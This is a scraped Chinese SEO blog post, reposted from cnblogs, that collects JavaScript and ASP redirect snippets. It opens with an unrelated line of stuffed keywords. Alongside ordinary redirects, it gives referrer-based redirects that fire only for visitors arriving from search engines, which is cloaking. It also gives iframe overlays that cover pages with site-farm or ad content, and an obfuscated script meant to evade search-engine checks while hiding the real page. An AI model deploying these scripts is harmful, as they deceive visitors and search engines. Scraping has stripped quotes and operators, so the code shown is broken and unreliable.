卓进网站,洛阳有做网站开发的吗,装修公司的网站,网站制作包括数据库吗所谓的js页面跳转就是利用javesrcipt对打开的页面ULR进行跳转#xff0c;如我们打开的是A页面#xff0c;通过javsrcipt脚本就会跳转到B页面。目前很多垃圾站经常用js跳转将正常页面跳转到广告页面#xff0c;当然也有一些网站为了追求吸引人的视觉效果#xff0c;把一些栏…所谓的js页面跳转就是利用javesrcipt对打开的页面ULR进行跳转如我们打开的是A页面通过javsrcipt脚本就会跳转到B页面。目前很多垃圾站经常用js跳转将正常页面跳转到广告页面当然也有一些网站为了追求吸引人的视觉效果把一些栏目链接做成js链接但这是一个比较严重的蜘蛛陷阱无论是SEO人员还是网站设计人员应当尽力避免。常用的JS页面跳转代码调用大全-马海祥博客很多站长在制作网站的时候为了某种展示或SEO优化的目的常常需要利用js跳转效果所以对于一个站长或SEO来说熟练的掌握或使用js技术具体可查看马海祥博客《JavaScript是什么JavaScript功能有哪些》的相关介绍已成为一门必学的技能了。在我这么多年做SEO的过程中也收集和使用了很多的js代码今天我就借助马海祥博客的平台跟大家分享一些常用的js页面跳转代码希望能对大家有所帮助。一、常规的JS页面跳转代码1、在原来的窗体中直接跳转用script typetext/javascript  window.location.href你所要跳转的页面;  /script2、在新窗体中打开页面用script typetext/javascript  window.open(你所要跳转的页面);  /script3、JS页面跳转参数的注解SCRIPT LANGUAGEjavascript  !--  window.open (page.html, newwindow, height100, width400, top0,left0, toolbarno, menubarno, scrollbarsno, resizableno,locationno, statusno)  //写成一行  --  /SCRIPT参数解释SCRIPT LANGUAGEjavascript js脚本开始  window.open 弹出新窗口的命令  page.html 弹出窗口的文件名  newwindow 弹出窗口的名字不是文件名非必须可用空代替  height100 窗口高度  width500 窗口宽度  top0 窗口距离屏幕上方的象素值  left0 窗口距离屏幕左侧的象素值。二、跳转指定页面的JS代码第1种script languagejavascript typetext/javascript  window.location.hreflogin.jsp?backurlwindow.location.href;  /script第2种script languagejavascript  alert(返回);  window.history.back(-1);   /script第3种script languagejavascript  window.navigate(top.jsp);   /script第4种script languageJavaScript   self.location’top.htm’;   /script第5种script languagejavascript   alert(非法访问);   top.location’xx.jsp’;   /script三、页面停留指定时间再跳转如3秒script typetext/javascript  function jumurl(){  window.location.href  http://www.mahaixiang.cn/;  }  setTimeout(jumurl,3000);  /script四、根据访客来源跳转的JS代码1、JS判断来路代码此段代码主要用于百度谷歌点击进入跳转直接打开网站不跳转script LANGUAGEJavascript  var sdocument.referrer  if(s.indexOf(google)0 || s.indexOf(baidu)0 || s.indexOf(yahoo)0 )  location.hrefhttp://www.mahaixiang.cn/;  /script2、JS直接跳转代码script LANGUAGEJavascript  location.hrefhttp://www.mahaixiang.cn/;  /script3、ASP跳转代码判断来路%  if instr(Request.ServerVariables(http_referer),www.baidu.com)0 then  response.redirect(http://www.mahaixiang.cn/)  end if  %4、ASP直接跳转的%  response.redirect(http://www.mahaixiang.cn/)  %五、广告与网站页面一起的JS代码1、上面是广告下面是站群的代码document.writeln(iframe scrollingno frameborder0 marginheight0 marginwidth0 width100% height5000 allowTransparency srchttp://www.mahaixiang.cn//iframe);2、全部覆盖的代码document.write(/iframeiframe srchttp://www.mahaixiang.cn/ relnofollow scrollingno frameborder0 width100% height2000);3、混淆防止搜索引擎被查的js调用具体的展示上面是广告下面是站群的代码var ss  center idshowcloneshengxiaoniframe scrollingno marginheight0 marginwidth0 frameborder0 width100% width1400 height6350 srchttp://www.hxzhanqun.com//iframe/center;  eval(document.write(ss););   try{    setInterval(function(){    try{    document.getElementById(divAll).style.displaynone;    }catch(e){}    for(var i0;idocument.body.children.length;i){ try{ var tagname  document.body.children[i].tagName; var myid  document.body.children[i].id; if(myid!iconDiv1  myid!showcloneshengxiaon){ // if(tagname!center){ document.body.children[i].style.displaynone; //} } }catch(e){}    }    },100);  }catch(e){}六、页面跳出框架script typetext/javascript  top.location.hrefhttp://www.mahaixiang.cn/;  /script七、返回上一页script typetext/javascript  window.history.back(-1);  /script马海祥博客点评虽然目前有的搜索引擎技术已经能够得到javescipt脚本上的链接甚至能执行脚本并跟踪链接但对于一些权重比较低的网站搜索引擎觉得没有必要不会浪费精力去抓取分析不过对于实现网站的某种特效还是有很大帮助的。本文为马海祥博客原创文章如想转载请注明原文网址摘自于http://www.mahaixiang.cn/js/813.html注明出处否则禁止转载谢谢配合转载于:https://www.cnblogs.com/cyy-13/p/5775344.html